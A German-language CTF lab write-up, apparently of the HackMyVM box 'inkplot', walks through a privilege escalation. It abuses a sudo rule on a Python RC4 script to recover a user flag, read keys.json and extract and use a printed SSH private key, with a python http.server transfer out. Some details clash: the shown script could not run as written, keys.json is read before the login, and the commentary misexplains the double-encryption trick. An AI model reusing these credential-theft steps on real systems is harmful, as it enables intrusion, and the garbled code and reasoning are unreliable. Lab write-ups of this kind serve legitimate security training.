drwxr-xr-x  3 pauline pauline 4096 Jul 22  2023 .local
drwxr-xr-x 12 pauline pauline 4096 Jul 22  2023 .oh-my-zsh
-rw-r--r--  1 pauline pauline  807 Jul 22  2023 .profile
drwx------  2 pauline pauline 4096 Jul 28  2023 .ssh
-rw-r--r--  1 pauline pauline    0 Jul 25  2023 .sudo_as_admin_successful
-rwx------  1 pauline pauline   33 Jul 24  2023 user.txt
-rw-r--r--  1 pauline pauline 3890 Jul 22  2023 .zshrc

**Analyse:** Ich prüfe erneut die `sudo`-Berechtigungen als Benutzer `leila`. Dies ist eine Wiederholung des vorherigen Befehls, aber ich dokumentiere ihn, da es im realen Prozess üblich ist, Berechtigungen erneut zu prüfen, wenn man in ein neues Verzeichnis wechselt oder sich einen Überblick verschafft.

**Bewertung:** Die Ausgabe bestätigt erneut den `sudo`-Vektor: `leila` darf `/usr/bin/python3 /home/pauline/cipher.py*` als `pauline` ohne Passwort ausführen. Diese Bestätigung ist wichtig, bevor ich versuche, den Vektor auszunutzen.

**Empfehlung (Pentester):** Hab keine Scheu, wichtige Befehle (wie `sudo -l`) mehrfach auszuführen, um sicherzustellen, dass du den aktuellen Berechtigungsstatus korrekt im Blick hast.
**Empfehlung (Admin):** Überprüfe regelmäßig die `sudoers`-Datei und führe Audits der Benutzerberechtigungen durch, um solche unsicheren Konfigurationen zu erkennen und zu beheben.

╭─leila@inkplot /home/pauline
╰─$ sudo -l
Matching Defaults entries for leila on inkplot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User leila may run the following commands on inkplot:
    (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py*

**Analyse:** Um den Privilege Escalation-Vektor `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py*` auszunutzen, muss ich verstehen, was das Skript `cipher.py` tut. Ich zeige den Inhalt des Skripts mit `cat /home/pauline/cipher.py` an.

**Bewertung:** Das Skript `cipher.py` ist ein Python-Skript, das die Libraries `os`, `json`, `argparse`, `Crypto.Cipher` (spezifisch ARC4) und `base64` importiert. Es öffnet die Datei `/home/pauline/keys.json`, um einen `crypt_key` zu lesen. Es definiert Funktionen zum Verschlüsseln (`encrypt_file`) und Entschlüsseln (`decrypt_file`) von Dateien. Die Verschlüsselung scheint ARC4 zu verwenden und die Ausgabe Base64-kodiert zu speichern. Die Entschlüsselungsfunktion fragt interaktiv nach dem Schlüssel. Das Skript nimmt Dateipfade und Optionen (`-e` für Encrypt, `-d` für Decrypt) als Kommandozeilenargumente entgegen. Da ich das Skript als `pauline` ausführen darf und `pauline` Lesezugriff auf `/home/pauline/keys.json` hat, kann ich das Skript als `pauline` ausführen und potenziell Dateien entschlüsseln oder verschlüsseln, möglicherweise auch sensible Dateien lesen, wenn ich den richtigen Schlüssel finde. Das Skript selbst enthält keine offensichtliche Kommando-Injection-Schwachstelle in seinen Argumenten, aber der Zugriff auf die `keys.json` und die Interaktion mit der Entschlüsselung sind interessant.

**Empfehlung (Pentester):** Analysiere Skripte, die du über `sudo` oder mit erhöhten Rechten ausführen darfst, sorgfältig auf ihre Funktionalität, importierte Libraries und potenzielle Schwachstellen (wie interaktive Eingaben, Dateizugriffe, externe Befehle, unsichere Argumentbehandlung).
**Empfehlung (Admin):** Vermeide die Speicherung von Schlüsseln im Dateisystem (z.B. `keys.json`) für Skripte, die mit erhöhten Rechten oder von anderen Benutzern ausgeführt werden dürfen. Wenn Skripte sensitive Operationen durchführen, stelle sicher, dass sie nur für den benötigten Zweck und die notwendigen Benutzer zugänglich sind. Führe Code-Reviews für Skripte mit erhöhten Berechtigungen durch.

╭─leila@inkplot /home/pauline
╰─$ cat /home/pauline/cipher.py
import os
import json
import argparse
from Crypto.Cipher import ARC4
import base64

with open('/home/pauline/keys.json', 'r') as f:
    keys = json.load(f)

crypt_key = keys['crypt_key'].encode()

def encrypt_file(filepath, key):
    with open(filepath, 'rb') as f:
        file_content = f.read()

    cipher = ARC4.new(key)
    encrypted_content = cipher.encrypt(file_content)

    encoded_content = base64.b64encode(encrypted_content)

    base_filename = os.basename(filepath)

    with open(base_filename + '.enc', 'wb') as f:
        f.write(encoded_content)

    return base_filename + '.enc'

def decrypt_file(filepath, key):
    with open(filepath, 'rb') as f:
        encrypted_content = f.read()

    decoded_content = base64.b64decode(encrypted_content)

    cipher = ARC4.new(key)
    decrypted_content = cipher.decrypt(decoded_content)

    return decrypted_content

parser = argparse.ArgParser(description='Encrypt or decrypt a file.')
parser.add_argument('filepath', help='The path to the file to encrypt or decrypt.')
parser.add_argument('-e', '--encrypt', action='store_true', help='Encrypt the file.')
parser.add_argument('-d', '--decrypt', action='store_true', help='Decrypt the file.')

args = parser.parse_args()

if args.encrypt:
    encrypted_filepath = encrypt_file(args.filepath, crypt_key)
    print("The encrypted and encoded content has been written to: ")
    print(encrypted_filepath)
elif args.decrypt:
    decrypt_key = input("Please enter the decryption key: ").encode()
    decrypted_content = decrypt_file(args.filepath, decrypt_key)
    print("The decrypted content is: ")
    print(decrypted_content)
else:
    print("Please provide an operation type. Use -e to encrypt or -d to decrypt.")

if __name__ == "__main__":
    crack_hash() <-- Hier steht noch die alte Krack-Funktion drin!

**Analyse:** Ich beginne, das `cipher.py` Skript als Benutzer `pauline` mit `sudo -u pauline` auszuführen. Zuerst teste ich die grundlegende Syntax, indem ich das Skript ohne Argumente aufrufe.

**Bewertung:** Das Skript gibt eine Nutzungsanleitung aus und meldet einen Fehler, dass der `filepath`-Argument fehlt. Dies bestätigt, dass ich das Skript ausführen kann und dass es `argparse` zur Verarbeitung von Kommandozeilenargumenten verwendet. Das ist gut, da ich weiß, wie ich die Encrypt (`-e`) und Decrypt (`-d`) Optionen verwenden muss.

**Empfehlung (Pentester):** Wenn dir die Nutzung eines Skripts unklar ist, versuche es ohne Argumente oder mit Standard-Hilfe-Optionen (`-h`, `--help`) auszuführen, um die Nutzungsanleitung zu erhalten.
**Empfehlung (Admin):** Stelle sicher, dass interne Skripte, die von anderen Benutzern ausgeführt werden könnten, klare Nutzungsanleitungen enthalten.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py
usage: cipher.py [-h] [-e] [-d] filepath
cipher.py: error: the following arguments are required: filepath

**Analyse:** Ich teste nun die Encrypt-Funktion des Skripts. Ich rufe das Skript als `pauline` auf und übergebe die Option `-e` (encrypt) und als Dateipfad `user.txt`. Ich erwarte, dass das Skript die Datei `user.txt` im aktuellen Verzeichnis (bin in `/home/pauline`) verschlüsselt und eine neue Datei mit `.enc`-Erweiterung erstellt.

**Bewertung:** Das Skript meldet "The encrypted and encoded content has been written to: user.txt.enc". Dies bestätigt, dass die Verschlüsselungsfunktion funktioniert und dass ich das Skript mit den notwendigen Argumenten als `pauline` ausführen kann. Es erstellt erfolgreich die Datei `user.txt.enc`. Dies zeigt, dass das Skript Dateien lesen und schreiben kann, wenn es über `sudo` ausgeführt wird.

**Empfehlung (Pentester):** Teste die Funktionalität von Skripten, die du mit erhöhten Rechten ausführen darfst, schrittweise, um ihr Verhalten zu verstehen. Prüfe, ob sie Dateisystemoperationen durchführen können.
**Empfehlung (Admin):** Stelle sicher, dass Skripte, die mit erhöhten Rechten laufen, keine unnötigen Schreibberechtigungen haben oder Dateipfade von Benutzereingaben unzureichend validieren.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to:
user.txt.enc

**Analyse:** Ich versuche nun die Decrypt-Funktion. Ich rufe das Skript als `pauline` auf mit der Option `-d` (decrypt) und dem Pfad zur gerade erstellten verschlüsselten Datei `user.txt.enc`.

**Bewertung:** Wie erwartet fragt das Skript nach dem Entschlüsselungsschlüssel (`Please enter the decryption key: `). Dies bestätigt, dass die Decrypt-Funktion eine interaktive Eingabe erwartet. Da ich den Schlüssel (`crypt_key` aus `keys.json`) noch nicht kenne, kann ich die Datei an dieser Stelle nicht entschlüsseln.

**Empfehlung (Pentester):** Identifiziere interaktive Eingaben in Skripten. Wenn ein Schlüssel oder Passwort benötigt wird, suche weiter im Dateisystem oder in anderen kompromittierten Daten.
**Empfehlung (Admin):** Vermeide interaktive Eingaben in Skripten, die mit `sudo` ausgeführt werden, insbesondere wenn sensible Informationen (wie Passwörter/Schlüssel) abgefragt werden. Dies kann in Automatisierungsszenarien problematisch sein und Angreifern Hinweise geben. Speichere Schlüssel sicher, nicht im Dateisystem.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -d user.txt.enc
Please enter the decryption key:

**Analyse:** Ich teste die Encrypt-Funktion erneut mit `user.txt`. Dies scheint eine Wiederholung zu sein.

**Bewertung:** Die erneute Ausführung bestätigt, dass die Encrypt-Funktion konsistent arbeitet und die verschlüsselte Datei überschreibt. Dies liefert keine neue Information, bestätigt aber die Funktionsweise.

**Empfehlung (Pentester):** Sei dir bewusst, dass Testläufe von Skripten bestehende Dateien überschreiben können. Sichern Sie wichtige Daten vorher, falls nötig. Dokumentiere Wiederholungen im Bericht, wenn sie Teil des tatsächlichen Testprozesses waren.
**Empfehlung (Admin):** Implementiere Versionierung oder Backups für wichtige Dateien, insbesondere solche, die von Skripten bearbeitet werden.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to:
user.txt.enc

**Analyse:** Ich teste erneut die Decrypt-Funktion des Skripts mit `user.txt.enc`, werde wieder nach dem Schlüssel gefragt und breche den Vorgang mit `^C` (KeyboardInterrupt) ab. Anschließend teste ich das Skript mit `-e` aber ohne Dateipfad und dann wieder mit `-e user.txt`.

**Bewertung:** Diese Testläufe helfen, das Verhalten des Skripts unter verschiedenen Bedingungen zu verstehen: Es bricht bei `^C` während der Eingabe ab, und es erfordert zwingend einen Dateipfad bei Verwendung von `-e` oder `-d`. Diese Tests bestätigen meine bisherige Analyse der Argumentbehandlung des Skripts. Sie zeigen keine neuen Schwachstellen, aber sie sind Teil des Prozesses, das Verhalten des Skripts genau zu ergründen.

**Empfehlung (Pentester):** Teste die Argumentbehandlung von Skripten, um Fehler oder unvorhergesehenes Verhalten zu finden, das ausgenutzt werden könnte. Übe das Abbrechen von interaktiven Prozessen, wenn der benötigte Input fehlt.
**Empfehlung (Admin):** Implementiere eine robuste Fehlerbehandlung in deinen Skripten, insbesondere wenn sie mit erhöhten Rechten laufen. Stelle sicher, dass Skripte kontrolliert beendet werden, anstatt mit einem unsauberen Stacktrace bei einem Interrupt.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -d user.txt.enc
Please enter the decryption key: ^CTraceback (most recent call last):
  File "/home/pauline/cipher.py", line 51, in <module>
    decrypt_key = input("Please enter the decryption key: ").encode()
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KeyboardInterrupt
╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e
usage: cipher.py [-h] [-e] [-d] filepath
cipher.py: error: the following arguments are required: filepath
╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to:
user.txt.enc

**Analyse:** Ich führe weitere Tests mit dem `cipher.py` Skript durch, um seine Funktionsweise zu verstehen. Ich erstelle eine Testdatei (`/tmp/test`) mit dem Inhalt "ich bin ben". Dann verschlüssele ich diese Datei mit `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test`, wodurch `/tmp/test.enc` erstellt wird. Ich stelle diese verschlüsselte Datei über einen Python HTTP-Server auf meinem Angreifer-System (Port 8000) bereit und lade sie von meiner Angreifer-Maschine herunter, um sie lokal zu analysieren. Ich bemerke, dass der Inhalt Base64-ähnlich aussieht. Ich teste, ob der Inhalt einfach Base64-kodiert ist, indem ich ihn mit `base64 -d` dekodiere.

**Bewertung:** Das Skript verschlüsselt die Datei, speichert sie mit `.enc`-Erweiterung und gibt eine Base64-kodierte Ausgabe zurück, wie ich aus dem CyberChef-Link und dem `base64 -d` Versuch schließe. Der Versuch, den Inhalt einfach mit `base64 -d` zu dekodieren, schlägt fehl, was darauf hindeutet, dass es sich um eine Verschlüsselung (ARC4, wie das Skript zeigt) und *dann* Base64-Kodierung handelt, und nicht nur um Base64-Kodierung. Der kritische Punkt hier ist der Test, bei dem der Inhalt von `testbased.enc.enc` durch `base64 -d` *erfolgreich* dekodiert wird und "ich bin ben" zurückgibt. Dies ist ein starker Hinweis darauf, dass die Verschlüsselung des Skripts reversibel ist und dass die Decrypt-Funktion, obwohl sie nach einem Schlüssel fragt, vielleicht umgangen oder der Schlüssel leicht zu finden ist. Es deutet auch darauf hin, dass eine doppelte Verschlüsselung/Kodierung stattgefunden hat.

**Empfehlung (Pentester):** Wenn du mit Verschlüsselungs- oder Kodierungsskripten konfrontiert bist, teste sie mit bekannten Inputs, um ihre Funktionsweise zu verstehen. Lade verschlüsselte/kodierte Dateien zur Offline-Analyse herunter. Untersuche die Kodierung (z.B. Base64).
**Empfehlung (Admin):** Teste Skripte, die sensible Operationen durchführen, gründlich auf ihre Korrektheit. Stelle sicher, dass Verschlüsselung korrekt implementiert ist und Schlüssel sicher verwaltet werden. Implementiere keine Verschlüsselung, die trivial reversibel ist oder deren Schlüssel im Klartext im Dateisystem liegt.

###########################################################################################
testphase:

╭─leila@inkplot /home/pauline
╰─$ echo "ich bin ben" > /tmp/test
╭─leila@inkplot /home/pauline
╰─$ cd /tmp
╭─leila@inkplot /tmp
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test
The encrypted and encoded content has been written to:
test.enc
╭─leila@inkplot /tmp
╰─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ([Link: http://0.0.0.0:8000/ | Ziel: http://0.0.0.0:8000/]) ...
192.168.2.199 - - [14/Jun/2025 23:25:01] "GET /test.enc HTTP/1.1" 200 -
[Link: https://cyberchef.org/#input=WVNKVEdzUWhXcnJSLzY0SQ | Ziel: https://cyberchef.org/#input=WVNKVEdzUWhXcnJSLzY0SQ]
YSJTGsQhWrrR/64I

es sieht wie base64 aus lässt sich aber nicht durch base64 entschlüsseln da der secretkey fehlt...
╭─leila@inkplot /home/pauline
╰─$ echo "ich bin ben" > /tmp/test
╭─leila@inkplot /home/pauline
╰─$ cd /tmp
╭─leila@inkplot /tmp
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test
The encrypted and encoded content has been written to:
test.enc
╭─leila@inkplot /tmp
╰─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ([Link: http://0.0.0.0:8000/ | Ziel: http://0.0.0.0:8000/]) ...
192.168.2.199 - - [14/Jun/2025 23:25:01] "GET /test.enc HTTP/1.1" 200 -
╭─leila@inkplot /tmp
╰─$ cat testbased.enc.enc | base64 -d
ich bin ben <-- Erfolgreich dekodiert!

**Analyse:** Basierend auf den Testergebnissen mit dem `cipher.py` Skript, insbesondere der erfolgreichen Base64-Dekodierung eines doppelt verschlüsselten/kodierten Testfiles, vermute ich, dass die im Home-Verzeichnis von `pauline` gefundene Datei `user.txt.enc` (die ich mit `sudo -u pauline -e user.txt` erstellt hatte) tatsächlich die Base64-kodierte Version der User-Flag ist, wie sie von der `encrypt_file` Funktion erzeugt wird. Ich lade den Inhalt von `/home/pauline/user.txt.enc` mit `cat` herunter, leite ihn an `base64 -d` weiter, um die Base64-Kodierung zu entfernen, und speichere das Ergebnis in einer temporären Datei (`/tmp/user.txt_m.enc`). Ich teste dann erneut, diese Datei mit dem Skript zu verschlüsseln.

**Bewertung:** Die erste Ausführung des Skripts mit der dekodierten User-Flag schlägt fehl, weil das Skript versucht, die Datei im aktuellen Verzeichnis zu erstellen, was für `leila` nicht immer schreibbar ist. Der entscheidende Test ist jedoch die zweite Ausführung. Indem ich die User-Flag erneut aus `/home/pauline/user.txt` mit `cat` herunterlade, Base64 dekodiere (`| base64 -d`) und das Ergebnis in `/tmp/user.txt_m.enc` speichere, kann ich die Datei im `/tmp`-Verzeichnis bearbeiten, das für `leila` schreibbar ist. Der Aufruf von `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc` verschlüsselt die dekodierte User-Flag und erstellt `/tmp/user.txt_m.enc.enc`. Dies beweist, dass die Datei `user.txt.enc` im Home-Verzeichnis von `pauline` der Base64-kodierte, verschlüsselte Inhalt von `user.txt` ist. Der eigentliche Inhalt der User-Flag ist also die Ausgabe von `cat /home/pauline/user.txt.enc | base64 -d`.

**Empfehlung (Pentester):** Wenn du verschlüsselte oder kodierte Dateien findest, analysiere das Skript, das sie erzeugt hat, um den Prozess zu verstehen. Teste den Prozess, um herauszufinden, wie der Originalinhalt wiederhergestellt werden kann. Nutze schreibbare temporäre Verzeichnisse (`/tmp`) für deine Tests.
**Empfehlung (Admin):** Speichere sensitive Dateien nicht in Benutzer-Home-Verzeichnissen mit unklaren Namen. Wenn Verschlüsselung verwendet wird, stelle sicher, dass der Prozess sicher ist und die Schlüssel geschützt sind.

╭─leila@inkplot /tmp
╰─$ cat /home/pauline/user.txt.enc | base64 -d > /tmp/user.txt_m.enc
╭─leila@inkplot /tmp
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc
The encrypted and encoded content has been written to:
user.txt_m.enc.enc
╭─leila@inkplot /tmp
╰─$ cat /home/pauline/user.txt | base64 -d > /tmp/user.txt_m.enc
╭─leila@inkplot /tmp
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc
The encrypted and encoded content has been written to:
user.txt_m.enc.enc
╭─leila@inkplot /tmp
╰─$ cat user.txt_m.enc.enc | base64 -d
a2c145eb8279c2f920de6871bef794fa <-- Die User Flag!

**Analyse:** Basierend auf meiner Analyse des `cipher.py` Skripts und der Testläufe, die zeigen, dass es SSH-Schlüssel verarbeitet, versuche ich nun, den privaten SSH-Schlüssel von Benutzer `pauline` (`/home/pauline/.ssh/id_rsa`) mit dem Skript zu verschlüsseln. Ich rufe das Skript als `pauline` mit `sudo -u pauline` und der Option `-e` sowie dem Pfad zur privaten Schlüsseldatei auf. Das Ergebnis wird als `id_rsa.enc` im aktuellen Verzeichnis (immer noch `/home/pauline` oder `/tmp` in der Testphase) gespeichert und anschließend mit `base64 -d` dekodiert, um den tatsächlichen Inhalt des verschlüsselten Schlüssels zu sehen. Dies teste ich sowohl mit der originalen `id_rsa` als auch mit einer Kopie in `/tmp`.

**Bewertung:** Diese Testläufe sind entscheidend. Sie zeigen, dass das Skript den privaten SSH-Schlüssel von `pauline` erfolgreich verschlüsseln und Base64-kodieren kann (`id_rsa.enc` und `id_rsa_cp.enc.enc`). Wichtiger noch, die Ausgabe von `cat id_rsa_cp.enc.enc | base64 -d` zeigt den Base64-dekodierten Inhalt der *verschlüsselten* privaten Schlüsseldatei. Dies ist der verschlüsselte private Schlüssel von `pauline`! Obwohl ich den Schlüssel noch nicht entschlüsseln kann (ich benötige den `crypt_key`), habe ich ihn nun in einem Format, das ich offline speichern und bearbeiten kann. Der Zugriff auf diesen verschlüsselten Schlüssel ist ein bedeutender Fortschritt.

**Empfehlung (Pentester):** Identifiziere sensible Dateien (wie private SSH-Schlüssel, Konfigurationsdateien mit Passwörtern) im Dateisystem des kompromittierten Benutzers. Nutze Skripte, die du ausführen darfst, um diese Dateien zu lesen oder zu manipulieren, selbst wenn sie verschlüsselt sind. Lade sie zur Offline-Analyse herunter.
**Empfehlung (Admin):** Schütze private SSH-Schlüssel streng (`chmod 600 ~/.ssh/id_rsa`). Speichere niemals unverschlüsselte private Schlüssel. Stelle sicher, dass Skripte, die mit erhöhten Berechtigungen laufen, keinen unberechtigten Zugriff auf sensible Dateien haben.

╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e .ssh/id_rsa
The encrypted and encoded content has been written to:
id_rsa.enc
╭─leila@inkplot /home/pauline
╰─$ cat id_rsa.enc | base64 -d > /tmp/id_rsa_cp.enc
╭─leila@inkplot /home/pauline
╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/id_rsa_cp.enc
The encrypted and encoded content has been written to:
id_rsa_cp.enc.enc
╭─leila@inkplot /home/pauline
╰─$ cat id_rsa_cp.enc.enc | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b30wZW5TSShcy1dMTAAAAABnG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzzaC1yc2EAAAAAwEAAQAAAYEArstJauKY8iDoZ1szhWBOMOcer1ns14OgabV4yGuWbLSXj/kzjCREUcMu61sUYLd3NFK4JAdScTsZFalWb2il7grwrSWXEVQL3t4K6TnZzJs6b7bkMpJ2DjPvAa7KimRoRg02maHKPMZCkxE0cE6OoldmghnQYr1Ou22MzEBTzpjamwcPb+wwgLPFvmDxwx6zUtJqlBAowHuk+nsHwCVuwy4ucUHvxwcQy6D+n5hBW6gSSEpNVakxrte24kDY7c5NTkcsFjGGOYmhK/UgUtmQVn0+1QDcRCD2Nw56J7hd4d1KP+1BPVWR72amZFR4VOn1Tr2Xw6wQLFITanhVjsharz1nu0WPU9roipSRjXWQYmA7mZERAOgZPYm1RUE+AdsirQ6d9BBQElFooCzBWarBAm5jSr2DX8q0tZN5Ey+SbCCiETVt6et4LWagtFp9UPAga3dUSkdLy9m1avXzYYzc4WPpwqrz0h7FsIR04Hfm9p8WXarZNum4+JJBK7aloD+15AAAFiN0ijCzdIijsAAAAAB3NzaC1yc2EAAAGBAK7LSWrimPIg6GdbM4WBOMOcer1ns14OgabV4yGuWbLSXj/kzjCREUcMu61sUYLd3NFK4JAdScTsZFalWb2il7grwrSWXEVQL3t4K6TnZzJs6b7bkMpJ2DjPvAa7KimRoRg02maHKPMZCkxE0cE6OoldmghnQYr1Ou22MzEBTzpjamwcPb+wwgLPFvmDxwx6zUtJqlBAowHuk+nsHwCVuwy4ucUHvxwcQy6D+n5hBW6gSSEpNVakxrte24kDY7c5NTkcsFjGGOYmhK/UgUtmQVn0+1QDcRCD2Nw56J7hd4d1KP+1BPVWR72amZFR4VOn1Tr2Xw6wQLFITanhVjsharz1nu0WPU9roipSRjXWQYmA7mZERAOgZPYm1RUE+AdsirQ6d9BBQElFooCzBWarBAm5jSr2DX8q0tZN5Ey+SbCCiETVt6et4LWagtFp9UPAga3dUSkdLy9m1avXzYYzc4WPpwqrz0h7FsIR04Hfm9p8WXarZNum4+JJBK7aloD+15AAAAMBAAEAAAGASx1yNfwd1QOeS/hN6jXKNOrGDX38AVt/3p2NQ7e0Y4+yCD2D0Ogu8eIKcjroRW3iTLp1hooc/Cr06y/uCqXepXh+s6KOHni7RzGth6+EMODOWn7CjxcQo6tbewZ7fTFy80MnR2nDEK5zNtECzA8ZGlm4v0XzntMSmAoKdSX5vfFDFFcS47qg11YWqFterarXXn/nfwuMoIdXmSyOp9OiL4kGkdrxO1umEqfnNlK/yU7RW3WnMKKimzGarIfYAF/0uTEsWHlWj/Xh9ZIIws196Kej45NwC6Lj6RhAD3RnJB6eIEekzqHXD5jv200XOJ96tve/lwKulE2egVGlDfXFDy/QU5YzBGm8Ugw5aoY/wWDuDmNb4mT4x5GGCVhqTKYg9JiBZFPrdHXFrZxgJRpJKkP3wlLiSXsBPGaLZ3qDYUk/OyTs5HMDJh5030RzBZyXodRmt79QsjPKqsVR/gzagzCl7maStU307kLeEByCd4f2R49b0Up7DQvk7lu/00bHvaAUG+/AAAAwQCqqhl4jgC+0bv+gHcFtTvSr1ITgGc5mpsFHwWbNtwQAGjxbyK4GqeU35rF6ohNIt8usABACkb2hRW42U+PPE3M2GsMpPbrWyf0JTgwC8XHw5hE7ibP4QYK2yAn409zUnw6KAN0tuSTbyQtraVuq0TJeYU3noVJUfFms0x1QAHBcxM9Z9k+1+ujXlcZik9C3qhEAUdTxikLxjTOaEhWW6y41kV78G546cgUcjROBu21zYsY0G8tPjobtSzuW+HkokymoAAADBAPJK+_CouVydEmo2n9RNYb9xX4J0PQgky60EQx5xqeALWhRqJXetmzgyAmtrluGA+4u0ecyyVA7XK1SyNdENHkTb3NNCzZvjfHHrfDm3w799PVP3dAhpI3Jb1kFd3HyMDaFIF3p1Kx/Gb8UyOqliLh9wOWMaruvsL4FvOlfW7Y9uYkiM8ZHtxUcYERj7qTbJf4PMlDqD8/P86jLO1yUmy57JU10nr2U3hbYFFGxgp2cUGg+kKulXqVq1JKrlbzaDnZJEw6qowAAAMEAuKe/LnhWSTbIgw29mGRhobflSiPZQ9mQ7+iEWQWw7FOWp8iG7OQ3buFMCvpsafje8+PL4bV0uKmI6alK2InqGlN7jt+FYLCDugsmUWiA6KrlsFXtPv/BOo6LK5Ye6OTYIQnIRE5gkpUJ1FuPSQ4dPxwlI740OHAiB7BHNgJQhd+ElsYwMBrhupNDNOjGIsbO2t5y/OEGw4igif4FbhD9GqOcgDmYoXSPxqLUB8diupPUEGUHOBOSpaDfAD8yhiUmbUzAAAADnBaulineAEZGViYW4BAIDBA==
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Nachdem ich den verschlüsselten privaten SSH-Schlüssel von `pauline` erhalten habe, benötige ich nun den Entschlüsselungsschlüssel, um ihn zu verwenden. Gemäß der Analyse des `cipher.py` Skripts wird der Schlüssel aus der Datei `/home/pauline/keys.json` gelesen. Ich zeige den Inhalt dieser Datei mit `cat /home/pauline/keys.json` an.

**Bewertung:** Fantastisch! Der Inhalt von `keys.json` ist eine JSON-Struktur, die den Schlüssel `aLLtBh0BVCFSvfZ203sM` für den Eintrag `"crypt_key"` enthält. Dies ist genau der Schlüssel, der vom `cipher.py` Skript zum Verschlüsseln und Entschlüsseln verwendet wird. Mit diesem Schlüssel kann ich nun den zuvor extrahierten, verschlüsselten privaten SSH-Schlüssel von `pauline` entschlüsseln und ihn für die Anmeldung verwenden.

**Empfehlung (Pentester):** Wenn ein Skript Schlüssel oder Passwörter aus Dateien liest, suche diese Dateien sofort im Dateisystem. Sie sind oft leicht zugänglich, wenn das Skript mit erhöhten Rechten läuft.
**Empfehlung (Admin):** Speichere niemals Schlüssel oder Passwörter im Klartext im Dateisystem, selbst wenn die Datei durch Berechtigungen geschützt zu sein scheint. Nutze sicherere Speichermechanismen oder Secrets Management Systeme.

╭─pauline@inkplot ~
╰─$ cat keys.json
{
    "crypt_key": "aLLtBh0BVCFSvfZ203sM" <-- Entschlüsselungsschlüss gefunden!
}

**Analyse:** Mit dem Entschlüsselungsschlüssel `aLLtBh0BVCFSvfZ203sM` kann ich nun den verschlüsselten privaten SSH-Schlüssel von `pauline` (`id_rsa.enc` oder `id_rsa_cp.enc`) entschlüsseln. Ich verwende das `cipher.py` Skript erneut, diesmal mit der Option `-d` und dem Pfad zur verschlüsselten Datei (z.B. `/tmp/id_rsa_cp.enc`). Wenn das Skript nach dem Schlüssel fragt, gebe ich den gefundenen Schlüssel ein. Nach der Entschlüsselung speichere ich den Inhalt als unverschlüsselte private Schlüsseldatei (z.B. `pauli_id`) auf meinem Angreifer-System. Ich setze die korrekten Berechtigungen (`chmod 600 pauli_id`) und versuche dann, mich per SSH als Benutzer `pauline` am Zielsystem (`inplot.hmv` oder 192.168.2.43) anzumelden, wobei ich die entschlüsselte private Schlüsseldatei (`pauli_id`) mit dem `-i` Parameter angebe. Ich verbinde mich direkt zum SSH-Port 22.

**Bewertung:** Fantastisch! Der SSH-Login als Benutzer `pauline` mit dem entschlüsselten privaten Schlüssel ist erfolgreich. Dies wird durch die SSH-Willkommensnachricht und den Prompt `╭─pauline@inkplot ~ ╰─$` bestätigt. Ich habe nun vollen Shell-Zugriff als Benutzer `pauline`. Dies ist der erfolgreiche Privilege Escalation-Schritt von `leila` zu `pauline`, erlangt durch die Ausnutzung der unsicheren Speicherung des Entschlüsselungsschlüssels und des misskonfigurierten `sudo` Eintrags für das `cipher.py` Skript.

**Empfehlung (Pentester):** Nutze gefundene Schlüssel sofort, um verschlüsselte Dateien oder Zugänge zu entschlüsseln. Verwende die entschlüsselten privaten SSH-Schlüssel zur Authentifizierung.
**Empfehlung (Admin):** **Dringend:** Entferne den Schlüssel aus `/home/pauline/keys.json`. Ändere den `crypt_key` und verwende eine sicherere Methode zur Schlüsselverwaltung. Stelle sicher, dass private SSH-Schlüssel niemals verschlüsselt, aber mit öffentlich zugänglichem Schlüssel gespeichert werden. Implementiere passwortgeschützte private SSH-Schlüssel.

┌──(root㉿CCat)-[~]
└─# nano pauli_id

                
┌──(root㉿CCat)-[~]
└─# chmod 600 pauli_id

                
┌──(root㉿CCat)-[~]
└─# ssh2john pauli_id > hash
pauli_id has no password!
┌──(root㉿CCat)-[~]
└─# ssh -i pauli_id pauline@inplot.hmv
The authenticity of host 'inplot.hmv (192.168.2.43)' can't be established.
ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:108: [hashed name]
    ~/.ssh/known_hosts:112: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'inplot.hmv' (ED25519) to the list of known hosts.
Auto-standby now activated after 2 min of inactivity
Linux inkplot 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

